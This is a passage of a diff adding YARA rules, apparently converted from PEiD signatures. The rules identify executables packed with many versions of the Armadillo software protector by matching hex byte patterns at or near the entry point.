+        $a = {60 E8 00 00 00 00 5D 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 60 33 C9 75 02 EB 15 EB 33}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00124_Armadillo_4_00_0053____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 4.00.0053 -> Silicon Realms Toolworks]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 20 8B 4B 00 68 80 E4 48 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 31 4B 00 33 D2 8A D4 89 15 A4 A1 4B 00 8B C8 81 E1 FF 00 00 00 89 0D A0 A1 4B 00 C1 E1 08 03 CA 89 0D 9C A1 4B 00 C1 E8 10 A3 98 A1}
+    condition:
+        $a
+}
+
+rule PEiD_00125_Armadillo_4_10____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 4.10 -> Silicon Realms Toolworks]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 F8 8E 4C 00 68 D0 EA 49 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 31 4C 00 33 D2 8A D4 89 15 7C A5 4C 00 8B C8 81 E1 FF 00 00 00 89 0D 78 A5 4C 00 C1 E1 08 03 CA 89 0D 74 A5 4C 00 C1 E8 10 A3 70 A5}
+    condition:
+        $a
+}
+
+rule PEiD_00126_Armadillo_4_20____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 4.20 -> Silicon Realms Toolworks]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 F8 8E 4C 00 68 F0 EA 49 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 31 4C 00 33 D2 8A D4 89 15 84 A5 4C 00 8B C8 81 E1 FF 00 00 00 89 0D 80 A5 4C 00 C1 E1 08 03 CA 89 0D 7C A5 4C 00 C1 E8 10 A3 78 A5}
+    condition:
+        $a
+}
+rule PEiD_00127_Armadillo_4_30___4_40____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 4.30 - 4.40 -> Silicon Realms Toolworks]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 40 ?? ?? 00 68 80 ?? ?? 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 ?? ?? 00 33 D2 8A D4 89 15 30 ?? ?? 00 8B C8 81 E1 FF 00 00 00 89 0D 2C ?? ?? 00 C1 E1 08 03 CA 89 0D 28 ?? ?? 00 C1 E8 10 A3 24}
+    condition:
+        $a
+}
+
+rule PEiD_00128_Armadillo_4_30a____Silicon_Realms_Toolworks__h__
+{
+    meta:
+        description = "[Armadillo 4.30a -> Silicon Realms Toolworks (h)]"
+        ep_only = "false"
+    strings:
+        $a = {44 64 65 44 61 74 61 20 69 6E 69 74 69 61 6C 69 7A 65 64 20 28 41 4E 53 49 29 2C 20 61 70 70 20 73 74 72 69 6E 67 73 20 61 72 65 20 27 25 73 27 20 61 6E 64 20 27 25 73 27 00 00 00 44 64 65 44 61 74 61 20 69 6E 69 74 69 61 6C 69 7A 65 64 20 28 55 4E 49 43 4F 44 45 29 2C 20 61 70 70 20 73 74 72 69 6E 67 73 20 61 72 65 20 27 25 53 27 20 61 6E 64 20 27 25 53 27 00 00 00 00 50 75 74 53 74 72 69 6E 67 28 27 25 73 27 29 00 47 65 74 53 74 72 69 6E 67 28 29 2C 20 66 61 6C 73 65 00 00 47 65 74 53}
+    condition:
+        $a
+}
+
+rule PEiD_00129_Armadillo_4_30a____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 4.30a -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {44 64 65 44 61 74 61 20 69 6E 69 74 69 61 6C 69 7A 65 64 20 28 41 4E 53 49 29 2C 20 61 70 70 20 73 74 72 69 6E 67 73 20 61 72 65 20 27 25 73 27 20 61 6E 64 20 27 25 73 27 00 00 00 44 64 65 44 61 74 61 20 69 6E 69 74 69 61 6C 69 7A 65 64 20 28 55 4E 49 43}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00130_Armadillo_4_40____Silicon_Realms_Toolworks__h__
+{
+    meta:
+        description = "[Armadillo 4.40 -> Silicon Realms Toolworks (h)]"
+        ep_only = "false"
+    strings:
+        $a = {31 2E 31 2E 34 00 00 00 C2 E0 94 BE 93 FC DE C6 B6 24 83 F7 D2 A4 92 77 40 27 CF EB D8 6F 50 B4 B5 29 24 FA 45 08 04 52 D5 1B D2 8C 8A 1E 6E FF 8C 5F 42 89 F1 83 B1 27 C5 69 57 FC 55 0A DD 44 BE 2A 02 97 6B 65 15 AA 31 E9 28 7D 49 1B DF B5 5D 08 A8 BA A8 73 DC F6 D1 05 42 55 53 79 73 74 65 6D 00 00 53 00 79 00 73 00 74 00 65 00 6D 00 00 00 00 00 44 44 45 20 50 72 6F 63 65 73 73 69 6E 67 00 00 53 77 50 44 44 45 00 00 44 00 44 00 45 00 20 00 50 00 72 00 6F 00 63 00 65 00 73 00 73 00 69 00 6E 00 67 00 00 00 00 00 53 00 77 00 50 00 44 00 44 00 45 00 00 00 00 00 3C 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_00131_Armadillo_4_40____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 4.40 -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {31 2E 31 2E 34 00 00 00 C2 E0 94 BE 93 FC DE C6 B6 24 83 F7 D2 A4 92 77 40 27 CF EB D8 6F 50 B4 B5 29 24 FA 45 08 04 52 D5 1B D2 8C 8A 1E 6E FF 8C 5F 42 89 F1 83 B1 27 C5 69 57 FC 55 0A DD 44 BE 2A 02 97 6B 65 15 AA 31 E9 28 7D 49 1B DF B5 5D 08 A8 BA A8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00132_Armadillo_4_44a_public_build____Silicon_Realms_Toolworks__h__
+{
+    meta:
+        description = "[Armadillo 4.44a public build -> Silicon Realms Toolworks (h)]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 EC 0C 53 56 57 8B 45 08 50 FF 15 ?? ?? ?? ?? 83 C4 04 89 45 FC 8B 45 FC 51 B9 00 08 00 00 B9 06 00 00 00 F7 D1 0F C8 F7 D1 41 41 41 41 41 41 41 83 C1 04 41 41 41 41 83 C1 03 41 41 41 41 41 41 49 41 FE C1 FE C1 FE C1 83 C1 0D FE C1 FE C1 FE C1 FE C1 FE C1 83 C1 0A 49 52 BA 04 00 00 00 03 CA 41 5A 0F C8 23 C1 59 F7 D8 1B C0 F7 D8 5A 89 45 F4 8B 0D ?? ?? ?? ?? 33 0D ?? ?? ?? ?? D1 E1 89 4D F8 83 7D F4 00 74 09 8B 55 F8 83 CA 01 89 55 F8 8B 45 F8 50 FF 15 ?? ?? ?? ?? 83 C4 04 5F 5E 5B 8B E5 5D C3 55 8B EC 83 EC 0C 53 56 57 8B 45 08 50 FF 15 ?? ?? ?? ?? 83 C4 04 89 45 FC 8B 45 FC 53 BB 80 00 00 00 EB 05 BB 04 00 00 00 BB 32 00 00 00 F7 D3 0F C8 F7 D3 43 43 83 E0 00 83 C3 08 4B 51 B9 04 00 00 00 03 D9 43 59 0F C8 40 5B 89 45 F4 8B 0D ?? ?? ?? ?? 33 0D ?? ?? ?? ?? D1 E1 89 4D F8 83 7D F4 00 74 09 8B 55 F8 83 CA 01 89 55 F8 8B 45 F8 50 FF 15 ?? ?? ?? ?? 83 C4 04 5F 5E 5B 8B E5 5D C3 55 8B EC 83 EC 0C 53 56 57 8B 45 08 50 FF 15 ?? ?? ?? ?? 83 C4 04 89 45 FC 8B 45 FC 70 07 7C 03 EB 05 E9 74 FB EB F9 53 BB FF FF 00 00 23 C3 51 B5 2C 80 ED 01 80 ED 20 FE CD FE CD 80 ED 04 FE CD 80 ED 03 FE CD 22 E5 B1 70 80 E9 02 FE C9 FE C9 FE C9 80 E9 06 F6 D0 0F C9 F6 D0 0F C9 FE C9 FE C9 80 E9 10 FE C9 FE C9 80 C1 0C FE C9 FE C9 FE C9 70 07 7C 03 EB 05 C7 74 FB EB F9 FE C9 FE C9 FE C9 FE C9 80 E9 10 80 E9 01 FE C9 FE C9 FE C9 FE C9 FE C9 FE C9 FE C9 FE C9 F7 D1 0F C8 F7 D1 0F C8 FE C1 80 C1 02 22 C1 59 5B 85 C0 0F 85 94 00 00 00 8B 45 FC 53 BB 00 08 00 00 EB 05 BB 80 00 00 00 BB 72 00 00 00 F7 D3 0F C8 F7 D3 43 43 83 C3 08 4B 51 B9 04 00 00 00 03 D9 43 59 0F C8 23 C3 5B F7 D8 1B C0 40 5A 8B C8 51 8B 45 FC 52 BA FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_00133_Armadillo_5_0_Dll____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 5.0 Dll -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {83 7C 24 08 01 75 05 E8 DE 4B 00 00 FF 74 24 04 8B 4C 24 10 8B 54 24 0C E8 ED FE FF FF 59 C2 0C 00 6A 0C 68 ?? ?? ?? ?? E8 E5 24 00 00 8B 4D 08 33 FF 3B CF 76 2E 6A E0 58 33 D2 F7 F1 3B 45 0C 1B C0 40 75 1F E8 8F 15 00 00 C7 00 0C 00 00 00 57 57 57 57 57 E8 20 15 00 00 83 C4 14 33 C0 E9 D5 00 00 00 0F AF 4D 0C 8B F1 89 75 08 3B F7 75 03 33 F6 46 33 DB 89 5D E4 83 FE E0 77 69 83 3D ?? ?? ?? ?? 03 75 4B 83 C6 0F 83 E6 F0 89 75 0C 8B 45 08 3B 05 ?? ?? ?? ?? 77 37 6A 04 E8 D7 23 00 00 59 89 7D FC FF 75 08 E8 EC 53 00 00 59 89 45 E4 C7 45 FC FE FF FF FF E8 5F 00 00 00 8B 5D E4 3B DF 74 11 FF 75 08 57 53 E8 2B C5 FF FF 83 C4 0C 3B DF 75 61 56 6A 08 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 3B DF 75 4C 39 3D ?? ?? ?? ?? 74 33 56 E8 19 ED FF FF 59 85 C0 0F 85 72 FF FF FF 8B 45 10 3B C7 0F 84 50 FF FF FF C7 00 0C 00 00 00 E9 45 FF FF FF 33 FF 8B 75 0C 6A 04 E8 7D 22 00 00 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00134_Armadillo_5_00____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 5.00 -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {E8 E3 40 00 00 E9 16 FE FF FF 6A 0C 68 ?? ?? ?? ?? E8 44 15 00 00 8B 4D 08 33 FF 3B CF 76 2E 6A E0 58 33 D2 F7 F1 3B 45 0C 1B C0 40 75 1F E8 36 13 00 00 C7 00 0C 00 00 00 57 57 57 57 57 E8 C7 12 00 00 83 C4 14 33 C0 E9 D5 00 00 00 0F AF 4D 0C 8B F1 89 75}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00135_Armadillo_5_00____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 5.00 -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {E8 E3 40 00 00 E9 16 FE FF FF 6A 0C 68 ?? ?? ?? ?? E8 44 15 00 00 8B 4D 08 33 FF 3B CF 76 2E 6A E0 58 33 D2 F7 F1 3B 45 0C 1B C0 40 75 1F E8 36 13 00 00 C7 00 0C 00 00 00 57 57 57 57 57 E8 C7 12 00 00 83 C4 14 33 C0 E9 D5 00 00 00 0F AF 4D 0C 8B F1 89 75 08 3B F7 75 03 33 F6 46 33 DB 89 5D E4 83 FE E0 77 69 83 3D ?? ?? ?? ?? 03 75 4B 83 C6 0F 83 E6 F0 89 75 0C 8B 45 08 3B 05 ?? ?? ?? ?? 77 37 6A 04 E8 48 11 00 00 59 89 7D FC FF 75 08 E8 01 49 00 00 59 89 45 E4 C7 45 FC FE FF FF FF E8 5F 00 00 00 8B 5D E4 3B DF 74 11 FF 75 08 57 53 E8 66 D3 FF FF 83 C4 0C 3B DF 75 61 56 6A 08 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 3B DF 75 4C 39 3D ?? ?? ?? ?? 74 33 56 E8 AF F9 FF FF 59 85 C0 0F 85 72 FF FF FF 8B 45 10 3B C7 0F 84 50 FF FF FF C7 00 0C 00 00 00 E9 45 FF FF FF 33 FF 8B 75 0C 6A 04 E8 EE 0F 00 00 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00136_Armadillo_5_00_Dll____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 5.00 Dll -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {83 7C 24 08 01 75 05 E8 DE 4B 00 00 FF 74 24 04 8B 4C 24 10 8B 54 24 0C E8 ED FE FF FF 59 C2 0C 00 6A 0C 68 ?? ?? ?? ?? E8 E5 24 00 00 8B 4D 08 33 FF 3B CF 76 2E 6A E0 58 33 D2 F7 F1 3B 45 0C 1B C0 40 75 1F E8 8F 15 00 00 C7 00 0C 00 00 00 57 57 57 57 57}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00137_Armadillo_v1_60a_
+{
+    meta:
+        description = "[Armadillo v1.60a]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 98 71 40 00 68 48 2D 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00138_Armadillo_v1_71_
+{
+    meta:
+        description = "[Armadillo v1.71]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1}
+    condition:
+        $a
+}
+
+rule PEiD_00139_Armadillo_v1_72___v1_73_
+{
+    meta:
+        description = "[Armadillo v1.72 - v1.73]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 E8 C1 ?? ?? 68 F4 86 ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00140_Armadillo_v1_77_
+{
+    meta:
+        description = "[Armadillo v1.77]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 B0 71 40 00 68 6C 37 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00141_Armadillo_v1_80_
+{
+    meta:
+        description = "[Armadillo v1.80]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 E8 C1 00 00 68 F4 86 00 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00142_Armadillo_v1_82_
+{
+    meta:
+        description = "[Armadillo v1.82]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 E0 C1 40 00 68 74 81 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00143_Armadillo_v1_83_
+{
+    meta:
+        description = "[Armadillo v1.83]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 E0 C1 40 00 68 64 84 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00144_Armadillo_v1_84_
+{
+    meta:
+        description = "[Armadillo v1.84]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 E8 C1 40 00 68 F4 86 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00145_Armadillo_v1_90_
+{
+    meta:
+        description = "[Armadillo v1.90]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 10 F2 40 00 68 64 9A 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00146_Armadillo_v1_90a_
+{
+    meta:
+        description = "[Armadillo v1.90a]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 64 FF 68 10 F2 40 00 68 14 9B 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00147_Armadillo_v1_90b1_
+{
+    meta:
+        description = "[Armadillo v1.90b1]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 E0 C1 40 00 68 04 89 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00148_Armadillo_v1_90b2_
+{
+    meta:
+        description = "[Armadillo v1.90b2]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 F0 C1 40 00 68 A4 89 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00149_Armadillo_v1_90b3_
+{
+    meta:
+        description = "[Armadillo v1.90b3]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 08 E2 40 00 68 94 95 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00150_Armadillo_v1_90b4_
+{
+    meta:
+        description = "[Armadillo v1.90b4]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 08 E2 40 00 68 B4 96 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00151_Armadillo_v1_90c_
+{
+    meta:
+        description = "[Armadillo v1.90c]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 10 F2 40 00 68 74 9D 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00152_Armadillo_v1_9x_
+{
+    meta:
+        description = "[Armadillo v1.9x]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 98 ?? ?? ?? 68 10 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00153_Armadillo_v1_xx___v2_xx_
+{
+    meta:
+        description = "[Armadillo v1.xx - v2.xx]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 85 F6}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00154_Armadillo_v2_00_
+{
+    meta:
+        description = "[Armadillo v2.00]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 00 02 41 00 68 C4 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00155_Armadillo_v2_00b2_2_00b3_
+{
+    meta:
+        description = "[Armadillo v2.00b2-2.00b3]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 00 F2 40 00 68 C4 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00156_Armadillo_v2_01_
+{
+    meta:
+        description = "[Armadillo v2.01]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 08 02 41 00 68 04 9A 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00157_Armadillo_v2_10b2_
+{
+    meta:
+        description = "[Armadillo v2.10b2]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 18 12 41 00 68 24 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00158_Armadillo_v2_20_
+{
+    meta:
+        description = "[Armadillo v2.20]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 10 12 41 00 68 F4 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00159_Armadillo_v2_20b1_
+{
+    meta:
+        description = "[Armadillo v2.20b1]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 30 12 41 00 68 A4 A5 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00160_Armadillo_v2_50_
+{
+    meta:
+        description = "[Armadillo v2.50]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 B8 ?? ?? ?? 68 F8 ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 20 ?? ?? ?? 33 D2 8A D4 89 15 D0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00161_Armadillo_v2_50b3_
+{
+    meta:
+        description = "[Armadillo v2.50b3]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 B8 ?? ?? ?? 68 F8 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 20 ?? ?? ?? 33 D2 8A D4 89 15 D0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00162_Armadillo_v2_51_
+{
+    meta:
+        description = "[Armadillo v2.51]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 B8 ?? ?? ?? 68 D0 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 20}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00163_Armadillo_v2_52_beta2_
+{
+    meta:
+        description = "[Armadillo v2.52 beta2]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? B0 ?? ?? ?? ?? 68 60 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF ?? ?? ?? 15 24}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00164_Armadillo_v2_52_
+{
+    meta:
+        description = "[Armadillo v2.52]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? E0 ?? ?? ?? ?? 68 D4 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF ?? ?? ?? 15 38}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00165_Armadillo_v2_52_
+{
+    meta:
+        description = "[Armadillo v2.52]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 E0 ?? ?? ?? 68 D4 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 38}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00166_Armadillo_v2_52b2_
+{
+    meta:
+        description = "[Armadillo v2.52b2]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 B0 ?? ?? ?? 68 60 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 24}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00167_Armadillo_v2_53_
+{
+    meta:
+        description = "[Armadillo v2.53]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 40 ?? ?? ?? 68 54 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 58 ?? ?? ?? 33 D2 8A D4 89 15 EC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00168_Armadillo_v2_53_
+{
+    meta:
+        description = "[Armadillo v2.53]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 40 ?? ?? ?? ?? 68 54 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF ?? ?? ?? 15 58 33 D2 8A D4 89}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00169_Armadillo_v2_53b3_
+{
+    meta:
+        description = "[Armadillo v2.53b3]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 D8 ?? ?? ?? 68 14 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00170_Armadillo_v2_5x___v2_6x_
+{
+    meta:
+        description = "[Armadillo v2.5x - v2.6x]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 58 ?? ?? ?? 33 D2 8A D4 89 15 EC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00171_Armadillo_v2_60_
+{
+    meta:
+        description = "[Armadillo v2.60]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 D0 ?? ?? ?? 68 34 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 68 ?? ?? ?? 33 D2 8A D4 89 15 84}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00172_Armadillo_v2_60a_
+{
+    meta:
+        description = "[Armadillo v2.60a]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 94 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 6C ?? ?? ?? 33 D2 8A D4 89 15 B4}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00173_Armadillo_v2_60b1_
+{
+    meta:
+        description = "[Armadillo v2.60b1]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 50 ?? ?? ?? 68 74 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 58 ?? ?? ?? 33 D2 8A D4 89 15 FC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00174_Armadillo_v2_60b2_
+{
+    meta:
+        description = "[Armadillo v2.60b2]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 90 ?? ?? ?? 68 24 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 60 ?? ?? ?? 33 D2 8A D4 89 15 3C}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00175_Armadillo_v2_60c_
+{
+    meta:
+        description = "[Armadillo v2.60c]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 40 ?? ?? ?? 68 F4 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 6C ?? ?? ?? 33 D2 8A D4 89 15 F4}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00176_Armadillo_v2_61_
+{
+    meta:
+        description = "[Armadillo v2.61]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 28 ?? ?? ?? 68 E4 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 6C ?? ?? ?? 33 D2 8A D4 89 15 0C}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00177_Armadillo_v2_65b1_
+{
+    meta:
+        description = "[Armadillo v2.65b1]"
